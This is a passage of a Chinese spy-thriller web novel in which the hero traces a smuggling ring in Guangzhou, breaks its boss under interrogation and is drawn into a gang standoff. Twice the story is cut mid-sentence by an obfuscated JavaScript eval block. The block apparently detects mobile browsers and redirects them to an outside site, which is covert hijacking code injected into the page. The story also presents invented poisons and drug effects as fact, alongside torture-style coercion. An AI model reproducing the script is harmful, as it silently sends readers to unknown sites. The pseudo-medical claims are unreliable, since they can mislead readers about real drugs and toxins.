“打算？”周正冷笑，“他在挑衅组织的权威！真以为单枪匹马就能挑了整个走私网？狂妄！” 画舫上，听完回报的花蛇却长长舒了口气。 她最怕林卫国爽快交文件，那意味着陷阱。此刻他这副贪得无厌、坐地起价的嘴脸，反而打消了她最后一丝疑虑。 “有点意思。”花蛇红唇媚笑，对身边的哑叔吩咐，“看来林先生胃口不小。告诉他，老板同意见面。时间地点，由我们定。” …… 等待回音的几天里，广州湿气弥漫。 林卫国借口招待所潮湿，文件药品易霉，堂而皇之地带着王刚和梁仔，走进了气派的南方大厦百货。 “王哥，找点好防潮剂，多买几包。” “梁仔，文具柜台看看，买几瓶最高档的英雄碳素墨水，写文件用。” 支开两人，林卫国在化工品柜台前晃悠。避开视线后，他快速买了几样看似普通的特殊化学品：几包夜光微弱的荧光粉，一瓶透明坚韧、几无痕迹的强力粘合剂。 回到安全屋，林卫国反锁房门。凭借超前的化学知识，他小心混合着材料，又从窗台一盆不起眼的绿植上，刮下些肉眼难辨的微小孢子，细细研磨进去。很快，一种无色无味、常态下与灰尘无异的粉末诞生了。 “示踪霉粉”。它能牢牢附着，被特定波长的光激发时，荧光孢子会逸散微弱却可捕捉的幽光，极难清除。 林卫国将其装进小药瓶，神色如常。 第三天傍晚，花蛇的回复到了。一辆黑色轿车停在招待所门口，那精瘦男人下车。 “林先生，老板有请。” “好。”林卫国点头，转身从房间拿出牛皮纸文件袋，郑重交到王刚手中。 他压低声音：“王哥，记住。一小时内我若没回来，或者没有安全信号，立刻把这文件，交给周组长。” …… **摄像头的画面投映在周正眼前。 见林卫国留下“真文件”作后手，周正胸口那团燥热终于散去几分。 他绝不会想到，文件袋里躺着的，不过是一叠苍白废纸。 林卫国大步迈向轿车。 拉开车门瞬间，脚下突兀地踉跄，整个人撞向旁边的黑衣保镖。 “对不住。”他笑着拍打对方肩头，借力直起身子。 保镖浑不在意地摇头。 电光石火间，林卫国指尖那抹微不可见的“示踪霉粉”，已无声渗进对方衣领袖口。 车门轰然关闭。黑色轿车如离弦之箭，扎进广州黏稠的车流。 “跟上！” 指挥车里，周正对着听筒嘶吼。 伪装货车从岔路冲出，穷追不舍。 可他们很快领教了对手的能耐，黑色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200714|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轿车在立交桥与单行线中腾挪闪转。 几个转弯后，竟消失了。 “目标丢失！” “跟丢了！” …… 安全屋浸在死寂中。王刚等人垂着头，如同待斩囚徒。目标失踪，林卫国失联，凶多吉少已是定数。 钥匙捅锁的锐响骤然撕裂沉默。 门开处，林卫国拎着份打包的云吞面悠然踏入，热气氤氲上他平静的眉梢。 “怎么？魂都丢了？”他把面搁在桌上。 “卫国！你……”王刚冲上前，声音发颤，“他们没动你？” “没有，不过这也是试探，他们根本没想让我见正主。” “林卫国！你耍了敌人，也让组织断光线索！你怎么解释！” 林卫国未答，而是缓步走到窗边，从医疗箱取出一副黑框眼镜。 “关灯，王哥。” 黑暗吞噬房间的刹那，镜片幽然泛起星点蓝芒。 “谁说线索断了？” “蛇已归巢，还留了回家的路标。” …… 夜色下的白云山像头沉睡的巨兽，寂静得让人心慌。 山脚下废弃矿区内，几栋破败建筑的狰狞剪影匍匐在地。这里便是“水鬼”网络在广州的老巢。 林卫国和王刚的身影如墨，悄无声息地融入了黑暗。特制眼镜视野里，一条微弱的荧光轨迹，从山脚公路蜿蜒延伸，直指矿区深处那栋三层主楼。 “防卫不简单。”王刚压着嗓子，脸色凝重。他指向一片看似普通的草地，“那儿，是军用反步兵定向雷。”又指了指远处的树，“红外线感应器，位置刁钻，没有专业设备根本发现不了。” 越深入，王刚心越沉。这里的防御——明哨暗哨、陷阱布置——手法专业，远超普通走私团伙。 林卫国却如履平地，总能提前避开陷阱和监控死角。两人仿佛不存在的影子，悄无声息地潜到主楼下。 他们顺着排水管灵巧攀上二楼，从一扇未关严的窗户翻了进去。楼道铺着地毯，吸收了脚步声。 很快，他们找到了挂着“监控室”牌子的房间。门缝中望去，里面空无一人，但十几块监控屏幕正清晰捕捉着矿区的每个角落。 第94章 什么都留不下！ 两人迅速潜入监控室，瞬间接管了所有系统。 一块屏幕上，清晰映出三楼豪华办公室内的情景。 画面里，“花蛇”弓着腰，神态恭敬。宽大的老板椅里，坐着一个面色阴沉的中年男人。 看清那张脸的刹那，林卫国和王刚呼吸一窒！ 刘建斌！ 居然是他！当年那个在安平县，因为倒**家物资，被林卫国亲手送进去的张科长，他的顶头上司！他本该被连累下放农场，可这人不仅逃过一劫，还摇身一变，成了这个走私网络的头子！ 如今屏幕里的刘建斌，身上半点体制内的油滑也没了，只剩下近乎病态的癫狂和怨毒。他正对着花蛇咆哮，发泄着积压一年的刻骨恨意： “姓林的安平小子，我就是要他死！他毁了我，让我身败名裂，像条狗一样被赶出京城！整整一年，这账我一直记着！” “他必须死！”刘建斌眼里的凶光几乎要喷出来，“我还要拿到他的‘通脉丹’配方！让他所有的心血，都变成我刘建斌重新翻身的垫脚石！我要整个安平，血债血偿！” 监控室里，林卫国、王刚和梁仔的心沉了下去——一切的疯狂，原来源于一个彻底失败者对成功者最深、最毒的嫉妒！ “组长！”王刚咔嗒按下通讯器，“目标确认无误！请求收网！” “等等！”林卫国猛地按住他的手，眉头紧锁盯着屏幕。 王刚一愣：“怎么了？人赃并获！” “看他的眼睛，还有手。”林卫国声音低沉。 王刚凑近细看。画面里咆哮的刘建斌，眼神总是不自觉地瞟向墙上的挂钟。放在桌面上的手指，正无意识地、以一种极其固定的节拍轻轻敲击桌面——一下，两下，三下…… 这细微动作在王刚眼里寻常，但身为前世特种兵王的林卫国，对这类细节的敏感早已深入骨髓！ 军用级别的倒计时心理暗示！特工等待预定时刻时缓解紧张的下意识动作！ 一个念头闪电般划过林卫国脑海：“他在等我们！”他的声音陡然变冷，“他知道我们来了！甚至知道我们正看着他！那番话是故意说给我们听的！他在拖延时间！” 王刚惊出一身冷汗！ “立刻通知周组！”林卫国当机立断，“外围按兵不动，绝不能暴露！有陷阱！”他再不顾隐匿，拉着王刚和梁仔冲出监控室，一脚踹开旁边的消防门！ 巨大的声响回荡！ 三楼办公室。 听到踹门巨响，刘建斌脸上的疯狂瞬间褪去，只剩一抹狰狞而得意的冷笑。他仿佛对着空气宣告： “来了，就别走了！” 他缓缓抬手，按下了办公桌下那个红色按钮。 “轰隆隆——！” 刺耳的金属摩擦声骤然响起！整个办公区域所有门窗，瞬间被从天而降的厚重铁栅栏彻底封死！一座钢铁牢笼瞬间铸成！ 同时，矿区各处，数十名手持五六式**、眼神凶悍的亡命徒从藏身处冲出，疯狂扑向二楼监控室！ 一脚踹开监控室大门，这群亡命徒愕然发现，里面空空如也！ 就在他们错愕的瞬间。 “嘀——嘀——嘀——” 刺耳的警报在二楼监控室尖叫，闪烁的红灯撕裂黑暗，让被困的打手们神经紧绷。 然而，预想中的**并未降临。那枚足以掀翻楼层的**，在最后一秒被拆除了引信。 林卫国并不嗜杀。他想要的，是幕后主使刘建斌那颗腐烂的心脏，不是这些喽啰的命。他利用刘建斌自己的陷阱，将对方最核心的打手悉数困在这座钢铁牢笼，为最终对决扫清了障碍。 “撤！” 在亡命徒惊恐的叫骂声中，林卫国招呼王刚和梁仔，迅速退进事先选定的废弃仓库。 “这边！” 梁仔弯腰，麻利地推开角落一堆不起眼的麻袋，露出一个仅容一人通过的漆黑洞口。 “这是……”王刚愣住了。 “小时候跟野孩子捉迷藏发现的通风道，能直通主楼地下室！”梁仔脸上掠过一丝得意，“这地方我熟，老鼠有几个洞都清楚！姓刘的想在这儿跟我们玩，还差得远！” 这条尘封的密道，是刘建斌地图上唯一的死角。 三人依次钻入。管道内弥漫着铁锈和尘土的呛人气息，狭窄而压抑。在梁仔带领下，他们像敏锐的猎犬穿过地下迷宫，最终停在一处通风口的铁网下。 上方传来刘建斌因愤怒和得意而扭曲的咆哮。 “废物！全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“只要我的心跳停止超过一分钟，里面预设的铝热剂就会引爆！”他几乎在嘶吼，“别说纸，钢板都能烧成铁水！什么都留不下！” 第95章 你是魔鬼！ 一个标准的“死人开关”，用他自己的命守护最后的秘密！ 他得意地盯着林卫国，期待看到对方暴怒无能的样子。 林卫国却只是面无表情地点点头，仿佛只是听到了一个平常的消息。他收回匕首，转身从医疗箱里取出一个小药瓶和一支新注射器。药液是诡异的淡蓝色。 在刘建斌错愕的目光中，他将所有液体吸进了注射器。 “你……你要干什么？！” 未知的恐惧瞬间攫住了刘建斌的心脏，这感觉比死亡更甚！ 林卫国捏着注射器走上前，语气平静得像在陈述实验步骤。 “我自己配的神经肌肉松弛剂。原料是南美箭毒蛙的毒液。” 针尖悬停在刘建斌手臂的静脉上方。 “放心，死不了。它只会暂时麻痹你的心肌细胞，” 林卫国盯着对方因极度恐惧而放大的瞳孔，嘴角勾起冷冽的弧度，“十分钟内，你的心跳会从现在的每分钟七十五次，降到……大约三次。” “这个频率，远低于保险柜判定你‘死亡’的阈值。” 他凑近些，声音如同地狱的低语： “你会在‘活着’的状态下，眼睁睁看着自己，被你那宝贝柜子‘判死’。” “然后，亲眼看着你想守护的秘密，在你眼前，烧成灰烬。” 轰——！ 这番话如同万枚烧红的钢针，狠狠刺穿了刘建斌的灵魂！ 直接死去？他不怕。但这种亲手触发自毁、眼睁睁看着一切毁灭却求死不得的折磨，才是最恐怖的地狱！ “不！不——！” 刘建斌爆发出野兽般的嚎叫！彻底崩溃了！他像蛆虫般蜷缩在地，死死抱住林卫国的腿。 “魔鬼！你是魔鬼！” “我说！我都说！求求你！解药！密码和口令！我给你！全给你！” …… 崩溃的刘建斌轻而易举地吐露了密码和口令。 在王刚和梁仔的押解下，林卫国走到造型奇特的保险柜前，输入密码，然后对着识别器说出那句有些滑稽的口令：“为了新世界。” “咔哒。” 柜门应声弹开。里面没有金银，只有一个用防水油布紧紧包裹的文件夹。 林卫国戴上手套，小心地取出那份沉甸甸的名单。 他缓缓翻开。 一个个名字，如同共和国肌体下潜伏的毒瘤，触目惊心。这份名单一旦曝光，足以在南方地下世界掀起滔天巨浪。 当他的目光落到名单最后一页时，整个人瞬间冻僵！ 瞳孔紧缩！浑身血液仿佛凝固！ 那个名字，赫然在列，像一道撕裂他世界的惊雷！一个他做梦也想不到的名字！ 而在名字旁边，紧贴着一张用电码纸打印的境外指令，来自“自由灯塔”的最高层。 指令只有短短一行，字字透着血腥： “启动‘手术刀’。清除障碍。” “核心目标：华国，京城，中央保健局！” 目标名单的顶端，排在第一位的名字，正是他最敬重、他必须守护的那个人—— 陈岩老元勋！ …… 废弃矿区的总控制室，尘土、铁锈和一股若有若无的血腥气在空气中纠缠。惨白的灯光将人影拉扯得扭曲细长。 手电光束下，林卫国逐一扫过那份沉重的潜伏名单，视线如同锋利的刀刃，刺探着每个名字背后的秘密。 外间已清理干净。王刚和梁仔将所有打手缴械捆牢，关进仓库，快步返回控制室。 刚进门，两人脚步顿住——林卫国僵立桌前，被定住一般，手电光柱钉死在名单最后一页，纹丝不动。 “卫国，咋了？”王刚心头一跳，抢上几步。 目光顺着光柱落下，看清那个被红圈刺目标记的名字时，王刚脸色“唰”地惨白！ “不可能！”他失声低吼，声音带着不可置信的尖锐，“假的！这名单绝对是假的！” 名单末尾，赫然是三个字——钱卫国！ 京城工业部的老钱！那个刚在“特别体检”里被初步定论为“胁从”的家伙！ “老钱的结论都定了！”王刚的声音发颤，“是周组长副手亲自审的，‘受人胁迫，情节轻微’！人都隔离了！敌人怎么会把一个暴露的‘胁从’放进核心名单？！” 林卫国缓缓摇头，手电光微微下移。他指着“钱卫国”名字下方，一行几乎难以分辨、尘埃般细小的文字。 “不是伪造，看这儿。” 王刚眯着眼凑近，努力辨认，才勉强看清是一行用特殊药水印记的微缩字符，非得特定角度和光线才可见。 林卫国心知，这个足以掀翻整个案件的关键情报，必须立刻送到周正眼前。 但周正其人，刻板僵硬，程序高于一切。贸然一个电话过去说“你们错了，老钱是鱼”，只会换来质疑和反感，甚至被视为挑战权威。 得让“证据”自己开口，逼周正亲手推翻自己的结论。 “王刚，”林卫国抬眼，眼神冷如冰棱，“立刻用军用密台联系广州指挥部。按我说的发报，一字不许错。” …… 广州临时指挥部，烟雾缭绕。周正正听着外围布控汇报，桌上军用电台猛地响起来。 “指挥部，‘前哨’王刚呼叫。” “讲。”周正干脆利落。 “任务完成，首脑刘建斌落网，所有物证收缴。但指挥官，现场情况升级……我们在核心名单上……发现了钱卫国的名字。” 周正眉心瞬间拧成疙瘩，语气严厉：“王刚！注意言辞！钱卫国的案子，组织已有定论！” “是！”王刚应道，随即按林卫国授意，换上带着惊疑和不确定的语气，“报告周组长，缴获物证上有我们现有技术未掌握的微缩加密！林顾问初步判定…可能是‘双层名单’！” “真正的核心信息，恐怕需要京城最高级别的密码专家现场破译！林顾问请求……请您务必带专家亲临甄别！他担心物证回运途中，有情报遗失风险！” 周正放下通讯器，脸色铁青。 第一反应：又是林卫国在搞鬼！ 什么“重大升级”？“双层名单”？借口！纯粹是邀功争权，还想染指核心证据！ 第96章 死亡预言 “‘双层名单’？无稽之谈！又是他那套江湖把戏！”周正背着手在地图前烦躁踱步，内心冲突激烈。 他不喜林卫国，不喜这个难以掌控的变数。 但一个冰冷的念头强迫他冷静：这个年轻人，似乎总能看见他看不见的盲点。 他强制自己回溯钱卫国审查的每个细节。 一个被忽略的疑点猛地窜出——一笔数额不大，但来源极其可疑的海外汇款！ 钱卫国当时解释是“海外亲友馈赠”。数额小，没实证，最终不了了之。 难道……真有纰漏？ 这念头化作一条冰蛇，瞬间缠上脊椎！ 林卫国若对了，钱卫国若真是潜藏更深的鱼……那他引以为傲、坚不可摧的审查体系，便存在一个致命的破绽！ 这对视原则如生命的他而言，远比任何失败都更难以承受！ “备机！马上！”周正脚步骤停，冲门外警卫厉喝，“我亲自去！” 他要亲眼看看，这个不断冲击他认知的年轻人，这一次，究竟是力挽狂澜的天才，还是装神弄鬼的骗子！ …… 等待周正的几小时里，控制室气氛重新变得凝滞。 林卫国开始审讯刘建斌。 刚才摇尾乞怜的男人，此刻瘫软在地，脸上刻满怨毒，一副滚刀肉的模样。 “杀了我吧，”他抬头冲林卫国冷笑，“除了我叫刘建斌，别的，休想！” 王刚皱眉，就要上前“上手段”。 林卫国抬手拦住。他走到刘建斌跟前，缓缓蹲下，平静地俯视。 “我不杀你，我说过，我是医生。” 林卫国声音轻缓。 “我只治病。” “少他么假慈悲！”刘建斌啐道。 林卫国无视嘲讽，目光像专业医生审视病灶。 “你为在下属面前保持威严冷静，长期服用一种境外神经抑制剂，对吗？” 刘建斌脸上的讥笑骤然冻结！ 林卫国仿佛没看见他剧变的脸色，语调平淡依旧： “那药的副作用，是永久性肝损伤。我没猜错的话，这半年，每天凌晨三点，你肝区就会像被火烧针扎一样剧痛吧？” “痛得不长，一刻钟左右，足够把你从最深的梦里拽出来，然后整夜睡不着。” 刘建斌脸上最后一丝血色瞬间褪尽！眼底第一次浮现出源自灵魂深处的惊恐！ 林卫国说的，分毫不差！这是他最隐秘的痛苦，连花蛇都不知道！ 林卫国站起身，居高临下看着这个开始止不住颤抖的男人，声音冷得像手术刀片。 “吴院士——哦，‘药剂师’给你后续的那些药，只能缓解一时疼痛，骗你没事。不过是饮鸩止渴。” “而我，可以明确告诉你，”他俯视的目光如同审判，“你的肝脏，已经在早期硬化。” “最多三个月，那种灼痛会从肝区蔓延到整个胸腔。到时你每一次呼吸，都像有刀片在肺里割。” “你会眼睁睁看着皮肤一天天变黄，像蜡封一样。肚子一天天鼓起，像怀胎十月，里面全是排不掉的腹水。” “你会一天比一天枯瘦，最后只剩一副骨架。” “最终，在清醒的无尽痛楚中，被自己的腹水，活活闷死。” 这番来自“神医”精准冰冷的“死亡预言”，每一个字都像重锤，狠狠砸在刘建斌濒临崩溃的神经上！ 他已能预见他腐烂的未来——那种极致而缓慢、无处可逃的折磨！ 恐惧彻底击垮了他！ 他身体筛糠般剧烈颤抖，牙齿“咯咯”叩击，眼中只剩下卑微的哀求，求生的本能盖过了所有——他想喊出声，想跪下求饶！他想要活命！ 总控室里，惨白的灯光打在刘建斌脸上，那张因极度恐惧而扭曲的脸庞，狰狞如鬼。 他看着眼前平静到不像人类的林卫国，骨子里的原始恐惧喷涌而出。自己竟会以这种方式被彻底碾碎。 “你……你到底是什么东西？”刘建斌的声音干涩破裂，“你不是人！是魔鬼！” “我是唯一能给你痛快的人。”林卫国的眼神毫无怜悯，只有冰冷的审视，像是在看一件实验品，“说出‘药剂师’是谁，他在哪，‘手术刀’计划的内容。说完，我给你一针，让你毫无痛苦地上路。” 他顿了顿，声音寒意更甚。 “否则，我保证，你能把刚才我描述的每一种痛苦，全都尝一遍。” “我说了也是死！”刘建斌眼中闪过最后一丝疯狂的狡诈，“组织不会放过我家人！不说，他们或许还有条活路！” 这是他最后的筹码。 林卫国却嗤笑一声。 “组织？你以为那个把你当狗使唤的‘药剂师’，会救你？” 他从王刚递来的物证袋里，抽出一支装着诡异紫色液体的金属注射器，扔在刘建斌脚下。 “认得这个么？” 看清那注射器的瞬间，刘建斌瞳孔缩成了针尖！ “安魂曲……”他失声呢喃。 “认识就好。”林卫国的声音如同来自九幽，“你派出去的那些亡命徒，除了武器，每人身上都有一支。它的用途，你比我清楚。” “在你眼里，自己是条忠犬。在你主子那儿，你们不过是任务失败就该销毁的工具。成则功臣，败则用‘安魂曲’送终。干净利落，不留痕迹。” 林卫国俯身，直视刘建斌那双彻底黯淡的眼睛。 “说了，你家人可能还有一线生机。不说，我保证，你和你老家的亲人，一个都活不了。” 砰！ 最后一根名为“希望”的稻草，彻底压垮。刘建斌眼中所有光芒瞬间熄灭，化为一片死灰。 他完了。 就在这时！ 巨大的螺旋桨轰鸣声撕裂夜空，周正带着专家和特战队员如同神兵天降，冲进总控室！ 看到崩溃的刘建斌和一旁静立、掌控全局的林卫国，周正瞳孔一缩。 但他立刻稳住心神，张口就要用不容置疑的命令接管现场。 林卫国却已抢先侧身，做了个“请便”的手势：“周组长，人，归你了。不过，他大概没话跟你说了。” 周正心中一沉，看着行尸走肉般的刘建斌，再看看神色淡然的林卫国，强烈的预感告诉他——最核心的情报，恐怕已被这年轻人挖空了。 他别无选择，示意手下上前。 第97章 水鬼花蛇 可就在特战队员即将碰到刘建斌的瞬间，那男人竟爆发出歇斯底里的尖叫！ “别碰我！我什么都不知道！我要见他！我要见林医生！” 周正的脸瞬间变得铁青。 他只得挥手让手下退开，转向林卫国，从牙缝里挤出命令：“……你继续。” 林卫国点头，重新走近刘建斌。 “现在，肯说了吗？” “我说……我全说……”刘建斌如同溺水者抓住浮木，涕泪横流，“我不晓得他是谁……真没人知道！都叫他‘药剂师’！” “他……他才是南方网络真正的‘大脑’！‘水鬼’‘花蛇’……都只是他手里的提线木偶！” 刘建斌的声音里浸满了对那神秘存在的恐惧。 “‘手术刀’计划就是他搞的！他甚至……甚至能在京城保健局眼皮子底下，给陈老那样的人物下毒……我们从入组织那天起，身体里就被他种了‘种子’！” “那是种慢性生物毒素，只有他有解药！每个月都得吃一次他给的‘缓解剂’……不吃？那玩意儿发作起来，比世上任何酷刑都狠一万倍！” …… 就在刘建斌语无伦次交代时，那位京城来的密码专家，已在名单前动作起来。 他小心地将一种特殊化学药水滴在“钱卫国”的名字下方。 在众人骇然的目光中，那片空白区域仿佛被施了魔法，缓缓浮现出一行微小却清晰的字母—— 一个龙飞凤舞的签名，旁边还有个诡异的标记：一把缠绕着毒蛇的古旧药剂师权杖！ 铁证如山！ “组……组长……”专家声音发颤。 周正死死盯着那签名，一股寒气从脚底板直冲头顶，四肢冰冷！ 他引以为傲的严密审查体系，在敌人这鬼神莫测的手段前，成了天大的笑话！他亲笔签下的“胁从”结论，更是狠狠扇在他自己脸上！ 他僵硬地转过头，看向那个始终平静的年轻人。 眼中的猜忌、警惕、不快，终于彻底沉淀为一种凝重，和不得不承认的……敬佩。 …… 返回广州的军用直升机上，巨大桨叶轰鸣隔绝了外界。 周正解开安全带，第一次主动坐到林卫国身旁。他掏出烟递过去一根，自己也点上，深吸了一口。 “林顾问，”他吐出一圈长长的烟，声音嘶哑，卸下了那身官腔，“之前，是我坐井观天。” 他看着林卫国，眼神是前所未有的诚恳。 “现在清楚了。敌人比我们想的更强大，更隐秘。那个‘药剂师’，就是条藏在最深处的毒蛇，连个影子都摸不到。” “我需要你的计划。” 林卫国看着这位终于低下头的调查组长，并无快意，只有沉重。 他将思虑已久的“阳谋”娓娓道来： “很简单。蛇要进食，我们就把诱饵送到他嘴边。” “立刻放出风声：就说我林文峰黑吃黑抓了刘建斌，拿到了名单。现在要找新买家，价高者得。” “我要把南方的水彻底搅浑。逼那个自认‘大脑’的‘药剂师’，和所有伏在水底的家伙，都从他们的洞里钻出来。” 周正沉默了许久。 直升机外，夜色如墨。 最终，他将燃尽的烟头狠狠碾熄在扶手上，眼中迸出决绝！ “太险了……” “但这是唯一的办法！” 他转向林卫国，一字一顿： “我授权你，从现在起，全权负责此次诱捕行动！” “整个调查组，都听你调遣！” 周正点头默许后，一张无形大网以林卫国为核心，在广州城悄然铺开。 林卫国要做的第一件事，便是让自己这枚最危险的诱饵，呈现出最诱人的姿态，投入深不见底的浑水。 他找到了梁仔。 “老板，真……真要这样？”听完计划，梁仔脸色发白，“这跟把带血的肉丢进鲨鱼群没两样啊！” “我要钓的，”林卫国拍了下他肩膀，声音沉稳，“就是最凶的那条鲨鱼。按我说的做。消息传得越快越广，我们越安全。” 梁仔一咬牙，重重点头。 当天下午，梁仔动用了遍布广州三教九流的关系网。从码头苦力、茶楼伙计到街边鞋匠……一个爆炸性消息像长了翅膀，一夜之间席卷地下世界！ “听说了吗？北边来了个姓林的港商，黑吃黑，端了水鬼刘建斌！” “何止！据说那份能让南天抖三抖的名单，也在他手上！” “人放话了，要在广州给刘建斌和名单，重新找个有实力的买家！” 消息炸开！ 整个广州的地下势力被搅得天翻地覆，暗流汹涌！ …… 西关，一栋挂着“闲人免进”牌匾的老茶楼。 大堂里空荡荡，只角落一桌坐人。白发苍苍却精神矍铄的潮州帮总舵主“龙叔”，正不紧不慢地用盖碗啜饮单枞功夫茶。袅袅茶香与窗外喧嚣，恍如隔世。 心腹阿彪低声道：“龙叔，这‘林先生’背景很硬，一上来就踩死刘建斌。道上都在传，他想在广州‘立棍’，当新话事人。” 龙叔放下茶碗，布满风霜的老眼波澜不惊。 “过江龙嘛，总要掀点浪花。” 他声音平淡：“刘建斌是境外‘灯塔’的钉子，沾满污秽。那份名单，更是催命符，谁碰谁死。这浑水，我们不趟。” 大半辈子，他信奉一个“稳”字。钱赚不完，命只有一条。 但是，不碰，不等于视而不见。 “这个‘林先生’，一上来就坏规矩。”龙叔指节轻轻敲了敲桌面，“年轻人，未免太张狂了。” 他要的，不是名单，而是要维护自己在这片江湖二十年不倒的地位和威严。 “阿彪，备份薄礼。”龙叔吩咐，“你亲自走一趟，告诉这位‘林先生’，我们潮州帮，敬他是条汉子。不过，广州码头，有广州的规矩。” “他想做生意，随意。但别脏了我的地。” 话里客气，骨子里却充满警告。老派江湖，先礼后兵，敲打与观望并行。 …… 珠江上，一艘改装走私船的气氛却截然相反，如同点燃的火药桶。 一群光膀纹身的船帮汉子围着他们的少当家“阿灿”，群情激昂。阿灿手臂缠着狰狞过江龙刺青，眼神似饿狼。 第98章 黑白两道，同时发难 “灿哥！龙叔那老骨头怂了！就送了点水果意思意思，屁都不敢放！”一个马仔喷着酒气嚷嚷。 “哈！”阿灿仰脖灌干一瓶啤酒，酒瓶狠狠掼碎在甲板上，狞笑道，“老子早说了！老东西只会讲规矩？呸！这世道，拳头硬的就是规矩！” 他一脚踏上船舷，指向广州城，眼中野心熊熊燃烧。 “兄弟们！龙叔过时了，该换我们当家！” “这姓林的，是老天爷送我们船帮的梯子！”他对着手下嘶吼，“把所有能打的兄弟都叫上！给我把那姓林住的宾馆，围了！” “老子要亲眼瞧瞧，他是龙是虫！” “名单是我们的！刘建斌的命，也是我们的！” …… 广州市第一人民医院特需专家办公室，窗明几净如同酒店套房。 神秘的“药剂师”吴院士，推了推金丝眼镜，优雅地翻阅着外文期刊。 桌上红色内线电话响起。 他听着电话那头花蛇的汇报，嘴角缓缓牵起一丝冰冷的弧度。 挂断电话，他踱到窗边，望着楼下穿梭的车流，轻声自语，仿佛在看一出好戏： “跳梁小丑……也好。” “就让这帮蠢货，去探探这条过江龙的深浅。” 他拿起一部黑色保密电话，拨通号码，声音不容置疑： “通知我们埋在船帮的人。” “想办法，让那个阿灿今晚就动手。” “我倒要看看，能拔掉我三十年棋子的林卫国，到底有多大斤两。” …… 宾馆房间内，空气紧绷得快要凝固。 “砰！” 房门被撞开，梁仔连滚带爬冲进来，面如死灰： “老板！完了！全完了！” 王刚一把拽住他胳膊：“说清楚！” “楼下！”梁仔抖得厉害，指着窗外，“船帮的阿灿，那个疯子！带了五六十号人，家伙都亮出来了，把宾馆所有出口都堵死了！已经跟周队的便衣……对峙上了！” 王刚脸色骤变，冲到窗边撩开窗帘一角。 只见楼下黑压压一片船帮马仔，手持砍刀钢管，把宾馆围得水泄不通。更外围，十几名便衣警察已经亮明身份，枪都暗暗抵在腰后，双方剑拔弩张！ 一场大规模流血冲突，一触即发！ 而祸不单行。 “还……还有这个！”梁仔哆嗦着从怀里掏出一张烫金请柬，几乎是砸在林卫国面前。“龙……龙叔！他派人送来帖子，措辞强硬……要您今晚必须去泮溪酒家，跟他……当面谈‘规矩’！” 黑白两道，同时发难！ 一边是暴力围堵，刀兵临门！ 一边是笑里藏刀，请君入瓮！ 瞬间，林卫国成了这场风暴的绝对核心！ 宾馆房间内，空气沉得能拧出水来。 窗外，船帮马仔们如同游魂，将小楼围得水泄不通。桌上，龙叔那张烫金请帖，丢在桌上重得像块铁。 王刚和梁仔的脸色都难看到了极点。 “先生！”梁仔的声音带了哭腔，“龙叔摆的是鸿门宴，楼下阿灿更是虎视眈眈！咱怎么选都是死路一条啊！” 王刚同样满面凝重：“卫国！绝对不能去！我马上联系周组长，调人硬冲！” “冲？”林卫国缓缓摇头，脸上非但没有惊慌，甚至挂着一丝玩味的笑意，“我们可是‘过江龙’，不是丧家犬。被人堵门，就得灰溜溜求官方救命？以后还怎么在这潭浑水里摸鱼？” 他走到窗边，扫了眼楼下气焰嚣张的船帮马仔，对梁仔吩咐：“梁仔，你下楼，替我给阿灿带个话。” “带……带什么话？”梁仔紧张地咽了咽唾沫。 “告诉他，”林卫国转身，眼神平静却锐利如刀，“林先生说，道上规矩，凡事讲究先来后到。龙叔是前辈，他老人家的茶，我得先去敬。” “等陪龙叔喝完茶，我自然下来，会会他这个‘年轻有为’的朋友。” 这番话看似给阿灿台阶，实则机锋暗藏。抬高龙叔地位，强调“规矩”，阿灿若当场动手，便是不给龙叔面子，在广州道上立不住脚，只能暂时按兵不动。 果然，楼下阿灿听完梁仔回话，脸色青白变幻，最终只冷哼一声，没立刻发作。 林卫国又拍了拍王刚的肩膀。 “放心，我一个人去。你和梁仔在这等。” “不行！”王刚断然拒绝，“我必须跟着！” “你跟着，只会让他们更紧张。”林卫国摇头，眼中是绝对的自信，“记住，今晚我不是去打架。我是去……看病。” 不顾两人担忧的目光，他理了理衣衫，大步流星出了房门。 …… 泮溪酒家，广州最有名的园林酒家，龙叔经营十几年的大本营。 今夜，整个三楼最大的泮溪厅，空无杂客。 巨大红木圆桌旁，仅坐一人——潮州帮总舵主，龙叔。 他稳坐主位，身后如立两尊铁塔，站了十几名气息沉凝、眼神锐利的精锐。个个都是刀口舔血出来的狠角色。 包厢里，空气沉凝得让人窒息。 八点整，包厢门“吱呀”一声开了。 林卫国的身影出现在门口，在一众凶悍目光注视下，他神情自若地走了进来，径直坐到龙叔对面空椅上。 “龙叔，久仰大名。”仿佛周围那些剽悍打手只是空气。 龙叔那双看似浑浊的老眼微微眯起，仔细审视着眼前的年轻人。太年轻，也太镇定。这种镇定，若非无知狂妄，便是底蕴十足。 “林先生少年英雄，胆色果然过人。”龙叔没立刻发难，随意一指旁边站着那个脸色青白、呼吸急促的老人，“这是我的老兄弟，阿海。年轻时替我挡过三刀，如今落了一身病，尤其这心疾，快把他熬干了。” 他看着林卫国，缓缓道：“听闻林先生不仅是商界翘楚，一手医术更是通神。今晚请你来，就是想请你出手，给这老伙计瞧瞧，让他这后半盏茶，能喝安稳点。” 这就是试探，也是考验。他要掂掂这条过江龙的斤两！ 满厅大佬的目光，瞬间刺在林卫国身上。 林卫国只是平静地扫了老人一眼。 “风湿热侵心，心瓣膜重损，心房供血不足。再拖三个月，大罗金仙也难救。”他轻描淡写，道出病根。 随即，他未用药，未施繁复诊断。只从怀中取出一个古朴的牛角针盒，拈起一根细如毫毛的银针。 第99章 没人敢问 龙叔身后保镖阿彪下意识要上前。 “别动！”龙叔低声喝止。 只见林卫国手腕一抖！ 